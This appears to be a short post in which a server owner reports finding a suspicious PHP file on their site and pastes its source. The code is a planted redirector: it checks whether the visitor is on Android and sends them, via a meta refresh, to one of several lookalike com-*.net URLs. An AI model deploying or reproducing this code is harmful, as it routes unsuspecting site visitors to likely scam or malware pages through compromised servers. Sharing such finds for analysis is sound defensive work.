this hacky file was on my server: idqb/then.php

<?php

$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$android_urls = array (
                        'http://com-brp.net/ofcdl.php?a=314759&c=wl_con&s=22AND',
            'http://com-d2t.net/apin.php?a=314759&c=wl_con&s=22AND',
);
$not_android_urls = array (
                        'http://com-brp.net/gnkqf.php?a=314759&c=wl_con&s=22MAC',
            'http://com-xsi.net/kmm.php?a=314759&c=wl_con&s=22MAC',
            'http://com-xvq.net/fjzm.php?a=314759&c=wl_con&s=22MAC',
            'http://com-6k4.net/wmwk.php?a=314759&c=wl_con&s=22MAC',
            'http://com-zgx.net/paxop.php?a=314759&c=wl_con&s=22MAC',
            'http://com-xci.net/atdwl.php?a=314759&c=wl_con&s=22MAC',
            'http://com-iqp.net/ihp.php?a=314759&c=wl_con&s=22MAC',
            'http://com-d2t.net/agql.php?a=314759&c=wl_con&s=22MAC',
);
 $n = mt_rand(0,count($not_android_urls)-1);
 $rand_url=$not_android_urls[$n];

if ( $android  == true)
{
 $n = mt_rand(0,count($android_urls)-1);
 $rand_url=$android_urls[$n];
}
?>
 <meta http-equiv="refresh" content="2; url=<?php echo $rand_url;?> ">